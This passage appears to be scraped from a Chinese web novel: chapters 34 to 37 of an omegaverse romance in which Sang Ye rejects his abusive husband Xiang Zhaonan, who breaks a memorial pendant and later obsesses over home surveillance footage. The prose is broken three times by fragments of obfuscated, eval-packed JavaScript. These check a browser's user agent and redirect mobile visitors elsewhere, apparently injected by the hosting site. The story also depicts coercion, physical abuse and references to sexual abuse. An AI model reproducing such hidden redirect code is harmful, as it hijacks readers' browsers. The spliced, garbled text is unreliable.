0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406613|153477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只能看见他吃瘪的面容和郁闷神情。 被训了? 不管是被谁训了,桑也心里都极为舒坦。 为了拍卖会能正常进行,为了维持自己的形象来配合营销,为了能够救活垂危的成安,方才他忍着怒火没有发泄,如同过往四年他习以为常的那样。 虽然戏耍了柴柯斯二人一番,但总有股火气窝在心里。 然而这股火气在看见柴柯斯脸上的扭曲时顿时消散了。 桑也舒出一口气,为确认柴柯斯没在他的拍卖会上捣乱,也为自己受的委屈在不知何时被有心人帮忙消解了。 此后拍卖进行得十分顺利。 虽然也有拍卖品流拍,但大多拍卖品都拍到了预估价格甚至更高。 晚上十一点,终于来到了重头戏。 桑也不敢在外面坐着了。他对最后两幅油画的拍卖有种近乡情怯般的畏惧,越是期待,越是害怕。怕卖出的价格达不到预期,怕辛苦一个月的努力付之东流。 他把自己关在卫生间,不仅是卫生间的大门被他锁了,连里面小隔间他也锁得严严实实,还带上耳机,把一切场馆里的声音都隔绝了个彻底。 他站在卫生间里,躁动地查看手机上的信息,把所有好友的社交动态都查看了个遍,又到流媒体平台看最近的热点,有时候看着看着就神游天外,想象场馆里的画面。 当然,他所想象的画面必然是无数人争相竞拍,如火如荼,但有时候又不可避免地想象到死寂的,沉默的,只有拍卖师无力地宣传着场景。 怎么可能呢! 就算他的画作无人问津,那副宝贵的印象主义油画也绝不可能惨淡收场。 那么多人冲着这幅画来,怎么可能卖不出高价? 除非他们都商量好了一起耍他。 开什么玩笑。 桑也安慰自己。 安静地卫生间里突然传出叮的一声。 是桑也的手机收到信息。 他的眼睛在脑子反应之前就阅读完了信息,以至于他甚至没办法小心翼翼地一点点揭露结果。 【桑总,您人呢?拍卖已经结束了,简直无法想象,您的那幅花园居然拍出了不亚于最后那幅珍品的价格!】 桑也先是惊喜,眉目都舒展开来,但很快又意识到,如果两幅画的价格相近——是不是意味着最后那幅画的价格达不到他们的预期?甚至可能远远小于他们的预期。 他呼吸一滞。 没一会,助理又发来第二条信息。 【整整四千万!天哪!最后那幅画也才五千五百万!桑总,今天晚上的拍卖消息传出去你绝对又要火了。】 桑也悬着的心一下子就平缓了下来。 这时他才感受到自己的胸腔里还有一颗心脏在鼓鼓跳动,像是突然活了过来。 他喘了好几口气,才把心情压下去。 【不过桑总,这不会是您请的托吧?除了林肯先生,还有另一个人在竞拍,也是那个人最后以四千万的价格拍下了你的画。我们有这么多钱流转吗?】 桑也淡粉的双唇微微张开,显然他也有些奇怪。 但不管怎么样,他的目的达成了,这是好消息。 他推开卫生间的门,准备去通知拍卖行的员工找个时间办一场庆功宴。 然而他只是刚打开大门,还没有踏出去,就被一个高大的身影挡住了去路。 那人急促地握住他的手。 桑也立马挣脱,连一丝目光都不施舍给他,抬脚就跑。 他却听见那人喊了句:“桑也,我有你想要的东西。” 桑也的脚步顿时放慢。 35.第 35 章 晦气。 桑也默默念了这两个字。 什么东西是他想要而又在相召南手里? 桑也在洗手间外三米的位置,背对着相召南,迟迟没有转身。 很讨厌这种感觉。 这种不想回头却又不得不回头的,有一腔怒意却只能憋在肚子里把自己气出内伤,放出再多狠话也不被人放在心上的感觉。 桑也咬了咬牙,停都停了,不如问问看他说的是什么东西。 于是他转身,微微扬起的下颌线条柔和流畅,在场馆的灯光照耀下仿佛散发着一层淡淡的光辉。 相召南看见他停下来,跳动的心几乎要从嗓子眼跃出来,然而桑也并没有立马转身,仿佛在考量他那句话有几分重量,令相召南第一次感受到了被放在天秤上等待抉择的窒息感。 他几乎不敢呼吸。 那日从医院醒来,他急不可耐地想要重返M国,却被各种各样的事务绊住脚。 相渡南想借机把他踢出相氏,相民想养蛊,却忘了他在相氏打工这么多年,就算之前因为桑氏的问题他在公司的风评和信誉都受到折损,他所建立的根基不是相渡南一朝一夕就能动摇的。 但必须承认的是,一件又一件公务就像密匝匝的雨滴砸得他晕头转向。 他只能周五的时候坐红眼航班到M国,然而在见到桑也时却又止住脚步。 上一次的争执让他认清了现状。 桑也好像没在闹脾气。 他想要开口叫住桑也,却又找不到更多的理由让桑也跟他回国,最后只有伸出去的手僵直地悬在半空中,眼睁睁看着桑也离开。 直到昨天,陈助告诉他,派出去的人找到了一点和桑氏暴雷有关的线索。 新闻爆出来第一时间相召南就安排了人去调查情况,虽然他看不上桑守安,但从利弊分析上看,他不信桑守安会冒那么大风险做一些没什么用的蠢事。 但当时得到的信息是,一星期的跟踪调查下来,桑氏地产主动离职的人中没有可疑对象。 在一贯的认知里,做了坏事的人必定心虚,加上想要迅速退场,肯定会主动递交辞呈,然而事实是,这个人离开桑氏是被开除的。 以至于一直没出现在他们的怀疑范围内。 拿到线索后,相召南恨不得立马飞到桑也面前。 但他忍住了。他知道桑也主持的拍卖会在今晚举行,他要给桑也一个惊喜。 相召南难得地露出一个笑。 他自诩自己不是卖笑的,也不需要用谄媚的笑容去讨好任何人,从来没有在桑也面前露出过笑容,或者说他几乎没有笑过。 因此他笑得很僵硬,口轮匝肌牵扯面部肌肤,像上个世纪就开始工作的工厂机器一直坚持到现在但已经生锈僵涩,一旦开机就会发出刺耳的吱呀声。 “好丑。”桑也从前期待竭尽所能换得的笑容竟然如此丑陋,他开始变得无法理解自己。 就像被工作的风剑霜刃摧残了花枝的成年人回到家中看见迟迟不肯写作业的孩子脱口而出“好好学习”,想不通他们为什么不明白学习的好处一样,桑也想不通为什么当初的自己会渴望这样一个丑陋的笑容,他甚至皱了皱眉,也没思考出答案。 桑也说得很小声,毕竟只是无心地一句。 随后他伸出手。 相召南似乎有些不明白,“什么?” 桑也的手还没有收回去,“你说的东西。” 最好是真的“他想要的东西”。 相召南却没有拿出任何东西的动作迹象,反而谈起了条件。 “东西给你可以,但我有条件。” 桑也闻言掉头就走。 相召南立马拉住他的手臂,想要留住他。桑也虽然停下了脚步,却也甩开了相召南的手。 伴随着甩开他这一举措的是一双略带嫌恶的双目。 相召南被这样一双眼睛盯着,忘记了再次伸手。 他看见那双从前笑意盈盈现在却冷淡如冰的琥珀色双眸斜睨了他一眼,对方没什么血色的双唇轻轻翕动,“什么东西。什么条件。” 无论是在公司,还是在私人领域,相召南都是发号施令的角色,即使是面对相民,他也从不屈居下位。然而此时此刻,他做出了和他那些言听计从的下属一样的举措。 “和桑氏有关的线索,有个人在桑氏出事前和陈张地产的人见过面。条件是你跟我回家。” 他几乎是没有停顿地将这两句话全须全尾讲了出来,一气呵成。 这一刻的他就像那些千方百计要到他联系方式,打了千百个电话终于被接通,害怕在挂断电话前无法完整讲出自己卑微到底融资请求的公司。 短短八个字,攻守易势。 然而他急切的语句只得到一声轻笑。 像冬天里的风,柔柔的,弱弱的,悄无声息把寒霜带进你的铜盔铁甲。 “痴人说梦。” 相召南优越的长相煞那间失去了颜色。 桑也顿时开心极了。 他恨不得用全世界最恶毒、最狠厉的话语去谴责相召南,但他知道以相召南的性格,只会觉得自己在拿乔,在闹脾气,在耍小计谋,就为了回到C国后能在相召南心中地位更进一步。 所以他直接戳破相召南一切荒谬怪诞猜想的底色。 他不会回去。 看着相召南吃瘪的神色,桑也整个人都舒坦了。 他一直在受气,受相召南的气,受那些嘴巴不干净人的气。 在相召南面前忍气吞声是为了可笑的爱,在柴柯斯面前忍气吞声是为了钱。怎么能相提并论? 所以他不乐意再受相召南的气了。 当他卑躬屈膝时,相召南高高在上,但如果他站起来,相召南就会低下头去。 就像他之前说的,过去的他下贱,相召南也毫不逊色。 果不其然,当他斥出那句痴人说梦后,相召南脸上又出现了那种扭曲的复杂的神色。 “我已经道歉了,桑也,你不能这样。” 相召南用略微急喘的语气说道。 “你的道歉,一文不值。” 桑也无动于衷,甚至连仰面的角度都没有改变一寸一厘。 相召南只是拿道歉作为挽回他的筹码,绝非真正知道曾经对他造成了多大的伤害。 如果他真的懂了,他就不会像现在这样穷追不舍!他就该知道,一个杀人凶手反复出现在受害人面前只会让他不停地回溯那可怖的梦魇! 相召南的薄凉的唇嗫嚅了几下,不知道说了句什么,最后只故作轻松地吐出几个字:“别闹了桑也。” “闹?我没时间跟你闹。” 相召南一次次被毫不留情地戳破,连骗骗自己都做不到,他的脸上终于挂不住笑。 当桑也平和的毫无波动的声音传入他的耳中,相召南脸上的假笑仿佛被寒风冻结,眉头紧锁,嘴角下垂,那些没有用语言表达的挣扎和绝望似乎在这张面孔上找到了出口,自腺体涌出的冰霜信息素更是滔滔不绝,从决堤河岸倾倒而下。 “桑也……” 他呢喃着,用目光描摹眼前的人,桑也站得那样笔直□□,不似以往毫无尊严。 暗灰色的衬衫外裹黑色马甲,金色的纽扣一字排下,收束起纤细的腰身,平直的肩,弧度完美的腰,饱满圆润的臀部和直挺的双腿,如同神的雕刻作品,若是出现在拍卖台上,恐怕无法分辨他是拍卖师还是拍卖品。 在他面临无尽的将要失去桑也的恐惧时,他重新拾起了如同当年那样对桑也的欣赏,重新发现了桑也身上让他无法忘怀的魅力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14412570|153477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 相召南开始怀疑,难道是他把桑也养得太差了吗? 仿佛有一个漩涡想要将他吸进去,他双目晕眩,头脑不清,只记得脑海里突然闪过一块墨白色的石块,转瞬即逝。 他循着那块墨白色伸出手去,却被什么力量阻遏住。 他勃怒,毫不犹豫撕开阻碍他的布料,掀开阻拦他的力量,寻找到那块无事牌。 它就挂在桑也的脖颈上,羊脂玉一般又白又润的肌肤温暖了无事牌,相召南用手指摩梭了下,却惊奇地发现这块无事牌已经不再完整。 金丝缠绕在它上面,将摔成一块块的碎片重新拼凑起来,中间似乎还缺了一块,用金丝盘成一圈又一圈的圆堵住。 “太不小心了桑也,怎么能把它摔坏了呢。”相召南低声道。 “别碰我!”桑也攥着自己被巧妙解开的衣领,推了推胸前的那只手,无奈体型和力气都差的太多,对方纹丝未动。 他一时情急,直接扇了相召南一耳光。 清脆的巴掌声在空荡的走廊盘旋回绕,二人都愣在了原地。 桑也手掌被打得生疼,不住地握了握。 一些不太美好的记忆浮现出来,他有些后怕地倒退一步,却忘了脖子上的无事牌还在相召南手上。 他的后颈被勒得发疼发红,抬头看去,发现相召南的双目已经烧红,布满红血丝的眼白看着格外瘆人,像濒临某种临界线。 “你打我?”一声轻声的询问,仿佛什么都没有发生。 但桑也知道,这不是什么平静的海面,深藏其中的是庞大的暗流,马上就要冲破表面薄薄的封印,掀起轩然大波。 从他认识相召南开始,这个人就高高在上,颐指气使,从未受过这样的屈辱,彼时的桑也也从未生发过令相召南受辱的想法。 他在桑也面前维持着倨傲无礼的高贵。而现在,这样的高贵被他一巴掌扇碎了,撕烂了,戳破了。 果不其然,相召南烧红的眼几乎快要滴血,他结实的手臂猛地一拽,生生将无事牌从桑也脖颈上拽了下来,紧紧握在手心。 桑也吃痛地弯了弯腰,却看见无事牌被相召南拿走,顾不得疼痛,用重新挺起腰,想要抢回无事牌。 “还给我。” 相召南捏住他的下巴,在短暂的一瞬他怎么瘦成这样的惊愕后,胸膛抽动,冷讽道:“不是没闹?没闹,为什么还带着它?” 相召南简直有病。 桑也彻底明白了,相召南已经失心疯到听不懂人话,只会像疯狗一样找各种理由诓骗自己。 真让人恶心。 他下颌被捏住,不得不抬起头,但脸上不折不挠的神情没有减淡半分。 因为吃痛,本就没什么颜色的唇更加煞白,像重病在床的患者。然而他说出来的话却颇有分量:“你不配。” 哐——嚓! 无事牌被相召南高高举起,旋即用尽浑身力气砸在地上。 再度碎掉,像雨花一样溅起,细小的碎片甚至嵌进了桑也的小腿。 “既然是送给我的,那就归我处理!” 相召南彻底被激怒了。 他习惯了桑也哭着求着需要他,面对冷言冷语的桑也,他再也受不住地想要惩罚他。 只要桑也还会为他说的话牵动心绪,就能印证他说的话。 相召南从牙缝里挤出这句话,因为凑得太近,他的呼吸都喷洒在了桑也脖颈初。 可他却没有看见桑也,无论是哭也好,笑也好,任何表情都没有,只是麻木地失神地看向地面。 相召南心跳漏了一拍。 他顺着桑也的视线看去,只有零零散散的无事牌碎片,部分嵌着金丝,至于其他的—— 还有一点不太明了的灰色粉末。 那是什么? 36.第 36 章 桑也原本站得直挺,即使脖颈受疼也只是弯腰了片刻,然而现在他完全不受控制地瘫软了,整个人全靠相召南扼住他的左手支撑着。 相召南看向地面,左手不知不觉松了力,使得桑也唯一的支撑也消失了。 桑也瘫坐在地上。 他眼里干涩得可怕,逼得他不住地眨眼,既是因为眼睛难受,又是因为心里难受。 一瞬间,他就从盛放的长满荆刺的红滟玫瑰变成枯萎的蔫巴的黄褐色枯枝,失去了神采和生气。 相召南瞬间变得手足无措起来,他从未产生过这样的情绪,像是打碎了最爱的花瓶,看着它碎成一片片,却又不知道从何修补。 他无所适从地伸了伸手,不知是想要牵扶桑也,还是捡拾碎片,但最后又僵硬地收了回去。 “只是一个牌子,值不了几个钱。”相召南似乎是在安慰桑也,“你想要多少个都可以。” 桑也笑着,伸手摸着背后的墙,颤颤巍巍地站了起来。 他摸了摸脸,没有水。 “相召南。”桑也对这个名字很熟悉,但又很不熟悉。他在心里默念了无数遍,却从未说出口过,他只是喊着“南哥”,“南哥”。 “我在画室里画画的时候,你在公司忙,我在画展要求抄袭者给我道歉的时候,你在斥责我咄咄逼人,我在雕刻室被刻刀划破手指的时候,你在质问我是不是穷得没钱了。” “相召南,值钱的不是它们,是我的时间。可我的爱给你,就像喂了狗。狗都知道见了人要摇尾巴,要汪汪叫,你却只会一次次用言语的刀剜我的肉。” 相召南对桑也最大的不信任,不是怀疑他沾花惹草,也不是认为他艺术不端,而是不相信桑也爱他,不把桑也的爱当真。 在他看来,桑也对他的以来完全是病。 也因此,他嫌弃桑也因病依赖他,又像甩不掉的狗皮膏药一样笃定桑也离不开他。 “你永远都是这样,自视甚高,自以为是,不把任何人放在心上,觉得所有人都该对你俯首称臣,无论是你的生身父母,还是我,这个占着你合法配偶位置的小丑。可笑我还把你的暴戾,残忍,恣睢当成馈赠,甘之如饴。” 相召南一时说不出话来,他茫然地伸了伸手,还没有触及桑也,就看见对方避之不及地侧身躲了躲。 “不要再来打扰我了,相召南,我不需要你了。” “……什么?” 桑也又摸了一下脸,发现还是没有水,可他明明感觉到自己哭了。 不管那些,他扣上马甲的扣子。 “不会再有情热期了,不会再每次情热期熬不下去给你打电话还打不通,在家里恨不得把自己浑身抓破,好不容易打通电话还要被你冷嘲热讽一番了,也不会再在床上像一块案板上任人宰割的死肉忍受着你毫不怜惜的贯穿了。” 相召南感受到自己浑身失力了一刹那,脑海里不受控制地涌现出桑也独自在家忍受信息素依赖症的画面。 他知道,他一直都知道,他清楚地知道,知道没有他的及时安抚,桑也会经历什么,但他的记忆里似乎失去了这一段记忆。他捂着头,是什么让他视而不见? “那天晚上,我包装好无事牌,等着给你送去,我满怀期待,想着虽然你嘴上嫌弃,说不定心里暗喜呢。但我打电话给你,你没接,钱余接了,他说,你在洗澡。我难受,情热期也提前了。凌星给我发消息,说出事了,可你知道吗?我一打开电视,那上面就出现了你!我毫无准备地听见你说要撤资。可那时离桑氏曝出丑闻才不到一个小时!相召南!” 桑也越说,越是浑身颤抖,越是声嘶力竭。 他痛恨自己为什么要因为见不到相召南而时常查看电视的经济与社会频道,以至于完全不设防地撞见相召南那无情无义的样子! 他捂着脸,干咳地笑出声来。 他以前不理解为什么相召南对他像对待仇人一样,仅仅是因为那场不自由的婚姻吗?如果是这样,四年的时间还不够消气吗?四年的经济利益还不够让视事业如命的他缓和态度吗? 直到那天相召南提起藏在书房里的照片。 桑也登时明白了。 可他宁愿自己不明白。 “你拒接电话的时候,你在我身上留下无数淤青的时候,你让我背过身去的时候,你不留情面宣告桑氏地产死亡的时候——” “你在为谁打抱不平?” 桑也天真地以为,只要是对爱的人,放低姿态也未尝不可。每当他生气,沮丧,低落,爸妈都会使出浑身解数来逗他,兄长也会低声下气哄他。他得到了许多爱,像水流一样溢出,分给没有父母疼爱的相召南一些又何妨? 可他没想到,他爱的人爱的正是他的高傲。 对于放弃了高傲的桑也,相召南不过把他当成一个怎么恶语相向,怎么冷暴力都赶不走还随时都能叫来泄/欲的情人。 “我没有腺体了。” “你自由了。” 桑也说,我也自由了。 他的话像一颗颗珠子掉在地上,不仅让相召南猝不及防,还连想要伸手去接住去捧起都只能混乱地照顾到其中一二。 他的苦太多了,多到相召南接不住,也躲不过。 相召南迟钝地,缓慢地伸手,想要碰一碰桑也脖颈后面的部位。 他曾做过无数种假设,认定桑也要么是找到了特效药,要么是找到了第二个百分百契合,才有胆量一走了之,连他从未有过的道歉都不放在心里,连他主动暴露出来的脆弱都无法挽回。 直到桑也说出“我没有腺体了”,把血淋淋的事实摊开摆在他面前,他才警觉自己的大脑似乎出了问题。 他自动屏蔽了所不乐意见到的结果,以至于他步步踏错,越走越远。 此时此刻,他的心脏几乎快要爆炸,可他想到的却是,桑也经历的疼痛比这疼多了,比这疼千倍万倍。 桑也躲过了他的手。 相召南眼里闪过一丝受伤。 “我……抱歉……” 桑也偏头,刚才的控诉让他有些失控,情绪上头,停下来之后,他整理了下自己的心情,恢复了木然的神色。 “相召南,就当是看在我让你免费艹了四年的份上,放过我吧。” 相召南张口,一个字也说不出来。 最后他说:“不要这样说自己……” 当走廊里传来脚步声,桑也头也不回离开了。 没带走相召南,也没带走碎掉的无事牌,和微末粉尘。 相召南终究是无力地坐下了,一 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他的发丝在灯光下闪着微光,几缕散乱的、湿润的发丝贴在脸颊旁,显得他狼狈,脆弱与无助。 他出现在助理面前时,助理惊愕了一瞬,立马反应过来:“那位先生又来了?用不用我叫人赶他走?” 桑也缓缓转头,“不用了,他不会再来了。以后都不会了。” 听桑总这样说,助理有些懵地点点头表示知道了,虽然他不清楚桑总是怎么让那个人“不会再来了”,又为何笃定他“以后都不会了”,但他只是个助理,听着就是,对于上司的私事还是不要有过多好奇心。 原本林肯先生似乎有事找桑总,但一直没见到人,就先走了,所以桑总只用和他们成安的员工一起庆下功。 先前成安还有人对他不信服,认为他年纪小,不当事,这一次拍卖会足以让消除绝大多数的成安员工对他的质疑。 然而桑总似乎不是很开心。 他们去了当地有名的一家餐馆,因为成安员工众多,桑总直接包下了店,吃着吃着店里的灯光变得绚丽,音乐变得摇滚,估计是哪几个员工干的。 但桑总始终没有露出笑容,无论大家敬了他多少酒,说了他多少好话。 助理暗自揣测,难道是那位先生的离去让桑总心里不愉快了?但很快他就推翻了这一猜想,先前桑总和那个人剑拔弩张的样子并不作假,那个人的离开,桑总应该高兴才是。 所以到底是什么让本该意气风发的桑也沉默不安? 助理猜不透,只好和其他员工一起吃吃喝喝。突然,他的手机弹出来一条社媒的消息,上面贴着一个火红的“爆”字。 “心叶美妆被数位大博主联合爆出出口转内销、价格持续抬高、饥饿营销搅乱市场等乱象,更有高层不端行为遭到内涵,速来吃瓜!” 成安的员工也有人看见了,纷纷开始讨论。 助理不是成安的助理,而是桑也的助理,他知道这一美妆品牌也是桑也的资产,心里跳了一下,连忙和其他员工说有点事,转身跑去找桑也。 “桑总,可能出事了……” 37.第 37 章 相召南都说不清自己是怎么在雨天的圣劳伦斯游荡了一周,又是怎么被相民的人压着回了国。 他只知道还在圣劳伦斯那一周,铺天盖地都是桑也的讯息。 不是成安拍卖会新人画家拍出天价,就是心叶美妆成天挂在热搜榜单上。 仿佛创世纪里的洪水在发现相召南这样一个罪大恶极的混蛋之后如约降下。 他一直都清楚以桑也的长相,身材,才能,只要给他一个出世的机会,必然能引起轩然大波,所有人都会为之动容。 这一点他在六年前的赛场上早已体会过。 所以在桑也心甘情愿为他安居于室的时候,他心安理得地享受着一个Omega的自甘堕落的崇拜,情热期时匍匐在他脚下的人抬起一双水盈的眼眸,清澈动情的眸里只有他一人,让他产生了吊诡的餍足感。尽管事后他又为Omega顶着那个人的脸做出雌伏于人这种毫无尊严的事感到后怒。 而在桑也出门招摇时控制不住地生气,愤懑,甚至迁怒于桑也,因为他知道这样一个人出门就会被无数心怀不轨的人盯上。 这段时间的变故太多,多到相召南产生了一种错乱感,其实桑也根本没有走,是他忙得头脑不清臆想出来的。其实桑也也没有剜去腺体,他那么怕疼,稍稍用力一点就要哼哼唧唧地掉眼泪,怎么可能愿意冒这么大风险剜去腺体就为了摆脱他呢。 不。 不是的。 他在想什么? 桑也怎么可能想要摆脱他?! 明明桑也满心满眼都是他。 不,也不对。 桑也离不开他是因为生病,是因为那个该死的信息素依赖症,就是它把桑也变得恭顺卑微,变得失去尊严,变得可悲可怖! 桑也又不爱他。 没了腺体,没了疾症,想要摆脱他不是理所当然吗?不是和他一直以来所料想的完全一致吗? 然而等相召南再一次加班晕倒在办公室被第二天上班的助理送去医院醒来后,他坐在白得寂静的病房里,发现了和看似有条有理的逻辑相悖的一点。 如果桑也对他没有感情,为什么要亲自下厨,那么娇气还总是为了做饭受伤,为什么被他言语诋毁那么多次还愿意在情热期外让他尽兴,他哭得那么惨,他很痛苦,不是吗,为什么要用他绘画的金贵的手去做一些看似无所谓的东西,明明可以用钱解决,却还要花费那么多时间。 他不敢细想。 每一次回顾,他的头都像被重锤敲击一般阵痛,那重锤是他曾说出的字字句句,是他所做出的一举一动。 桑也对他有感情。 他终于意识到这一点。 那么明显,那么张扬的爱,为什么他会看不见?相召南手臂细细抖动,他被蒙骗了。 可是,深爱着他的桑也,为什么会一夜之间离他而去?头也不回,走得痛快。 桑也变回了他期待的样子,自由勃发,举世瞩目,哪里都好,就是不爱他。 一定有哪里出了问题。 相召南屏息,享受着无法呼吸带来的清醒感。只有这样,他才有可能抽丝剥茧地从过往的点点滴滴发现一丝端倪。 他沉溺在窒息的感受里,不知道过了多久,护士打开门,冲了进来,扣着他下巴强迫他张开嘴大口呼吸。 “想啥呢脸都憋青紫了,脑子有病就去看心理科精神科,别死在我们院了。” 相召南有些尴尬地回过神来。 他脑子当然没病,不需要去看。相反他认为自己的举措十分合理,因为他在那几分钟内的确发现了端倪。 七夕那天晚上一定发生了什么,才让桑也变成那样。 他得弄清楚。 相召南再一次回到了华润湾。 他潜意识里拒绝回到这里。 有些杀人犯会回到现场,一些是因为心里变态,出于欣赏杰作的目的返回现场,一些是因为胆小,冲动杀人离开之后,沉默,惊恐,最后惶惶,于是回到现场反复确认没有暴露自己的证据。 但更多的是逃离,逃得越远越好。一个不说有良知,但凡有善恶认知的人都知道杀人却非善事,自己会受到惩罚,而作案现场的每一件物品都是呈堂罪证,长着无形的眼睛,记录下杀人犯的恶行,紧紧凝视着他,令他畏惧。 相召南现在就是这样的心态。 打开房门,他感到一种无从下足的拥挤感。所有的家具都伸着利爪想要从他身上拆得一片生肉,波斯地毯宛如流动的河流,扭曲着身体向他涌来,如同胃囊包裹食物一样要把他包裹起来,用自己的酸液将他腐蚀掉,水晶吊灯在无风的室内摇晃着,投下一片浓黑阴影,舞动着攀附他的皮鞋和西裤,贴墙的黑灰色装饰柜脱离了墙面,迈着大步走到他面前,晃动着身躯似乎马上就要像地震引起的坍圮一样将他淹没,砸烂他的头颅和脊骨。 密密麻麻是叫声:“你杀死了他!” 相召南捂着头,弓腰捶打了好几分钟,才把那嚷叫的声音从大脑中打出去。 最后他强行直起身来,恍若无事发生,如果不是浑身都散发着一股死气,或许没人能发现他的异样。 他直接推开书房的门,迈着沉重的步伐,快速走近书桌,打开电脑,查看监控。 桑也说他包装了无事牌,说他打了电话,说他打开电视就看见相召南丑陋的嘴脸……相召南的手控制着鼠标,监控视频已经在电脑屏幕上弹了出来,他却迟迟不敢点击。 手战栗着,像从未接触过的枪支的人在这一刻将要第一次按下扳机。 和电脑无声对峙了半个小时,相召南终于低头,按下鼠标左键,清脆的一声叩响,屏幕上走马灯似的闪过一些片段,最后在七夕夜放慢了速度。 猫的反应速度是人的数倍,但人从未可知世界在猫的眼里是什么样。 相召南现在似乎知道了。他看见的视频像是被按下了零点五,零点二,甚至零点一倍速,他清晰地看见桑也的每一个动作,每一个表情,听见他发出的每一个音节。 他看见桑也穿戴齐全准备出门却在门口踌躇不定,反复摆弄手机似乎在等候一条为他开门的消息,脸上表情沉闷,又有点期待,嘴唇低低压着,抿成一条薄线,最后打通电话,终于露出一个恬淡的笑容。 然而下一刻,手机里传出来的声音令相召南错愕不已。 “召南哥在洗澡,你有什么事待会再打来吧。” 是钱余,谁允许他自作主张接他的电话的?!谁允许他摆出主人的架子替他拒绝桑也的?! 相召南来不及生气,就看见监控里桑也的神情瞬间暗了下来,桑也长得精致,这时候却像个被冷落的洋娃娃,落满了灰,圆溜溜亮晶晶的眼睛变得灰蒙蒙的。 相召南感受到心跳漏了一拍,他的表情也随之变得难过,像一艘小舟被汹涌波涛拍打,船上的人皱着眉默默无言地想念着家里的灯火。 监控进度条在自顾自走着。桑也回到沙发上,安静地坐着,仿佛失去了生机,直到他的手机开始闪烁着来信的光,他的表情才有一丝破动。 然而短信似乎并不是喜讯,因为相召南看见桑也先是定定地凝视着手机屏幕,随后伸手拨动了一下,随着他的动作,监控里的手机画面变得清晰。 相召南愕然地看着手机里的照片,模糊但依稀可辨是他和钱余,背景是一家甜品店。 谁偷拍了他?相召南不假思索,桑也那个好友!肯定是他在挑拨离间! 不要信他……相召南感到有一只手攥住他的心脏,令他浑身血液都静止了,直到他看见桑也苦笑了一下,浑身无力地进了卧室,消失在监控画面里,他才失去骨头一般跌坐在书桌椅上,顿感掉入深渊般被失重感包围的恐惧。 不要信他……当时钱余不小心,不,不是,是故意把咖啡洒在他身上,导致他不得不在办公室休息室的淋浴间临时冲了个澡,洗去一身的咖啡渍,出来之后钱余非要给他买衣服,说是给他道歉,他推却多次但最后被吵烦了,只能随他去了。 至于甜品店的七夕节活动——不,不是的,他从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14430075|153477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未想过要和钱余过什么七夕节活动,他驻足于前,只是——是什么? 相召南一时想不起来,他记得自己是想要给桑也买舒芙蕾的,桑也喜欢吃甜的,但似乎又不对,因为相召南什么也没买,空着手就回去了。那他停留在那里是为什么?他的记忆和他的心理在打架,到底是谁出了差错? 高大的书架和密密麻麻的书籍似乎要朝他冲过来,相召南头痛欲裂。 长久的沉默,横亘在相召南和电脑之间。 良久,屏幕里再次出现了桑也的身影。他浑身是血,眼睛里淌着流动的血水,耳垂滴血,不是比喻,而是切切实实的描述。 他那样目标明确义无反顾地冲向遥控器,连无事牌掉落在地也没有分去他丝毫注意力。是什么让他如此仓皇? 相召南屏息凝神。 最后他看见电视机上弹出来的画面。 是他! 醒目的蓝色标题框瞬间变成了猩红色,张牙舞爪诉说着他的抛弃。 “相氏会撤除对桑氏地产的投资。” 在空荡的书房跌宕不止,相召南捂着耳,却无法隔绝阵阵声浪,他清晰听见自己做了什么,也目不转睛地看着监控里的桑也哐啷一声砸在地上,头破血流。 出轨,依赖症,撤资…… 那些乌云压顶般的怪物再次出现,撕扯着相召南的手脚,要将他五马分尸,嘴里不停嚷叫着:“你杀死了他!” 相召南喉咙紧的说不出来话,只能无谓地吐着一些毫无意义的字符:“不,不是,是因为……我,不——” 书房仿佛变成了一个黑洞,一个不断流转的漩涡,相召南在里面待了并不知道多少个日夜,不停地观看着监控录像,不吃不喝,没日没夜。 最初他只看七夕晚上的监控,慢慢地他看起了七夕白天的监控,再后来他不断往前回溯,一分一秒都舍不得跳过。 他看见了桑也窝在沙发上,小小的脑袋搭在沙发扶手上,像个关节可以随意扭动的漂亮人偶,看见了桑也在客厅走来走去,不知道心里在想什,反复踱步,可爱极了。 他能感受到,有些笑容,是因他而荡开。 相召南只恨自己没在卧室,厨房,画室,家里的每个角落都装上监控。 像对待世间珍宝一样,他把监控当成宝藏,从里面桑也的一颦一笑,一言一行汲取生命营养。 他唯独不敢看的,是有他出镜的片段,那张丑陋的脸破坏了桑也身边的氛围,令人作呕,但好在他很少出现。 一切都是那么的美好,直到一个白日,华润湾的大门被豪车强行撞破,房间的门更是被毫不留情地拆卸下来,一群人浩浩荡荡冲了进来,踹开书房的门,把相召南从书桌后拽了起来。 相民一拳打在相召南的下巴上,瞬间激起一片青紫,嘴角流出了一条血渍。 相召南却并没有生气,用一双无神的黑色瞳孔盯着相民,“你做什么?” 相民怒极,又是一拳。 “你问我做什么?你怎么不问问你做什么?把偌大的公司抛下不管,窝在这里十几天,相氏停摆了你知不知道?你有没有点相氏总裁的自觉?我把公司交给你你就这样胡闹?!” 相召南还没说话,就看见门后走出来林晓燕,抱着一只暖手袋,嫌弃地看了他一眼。 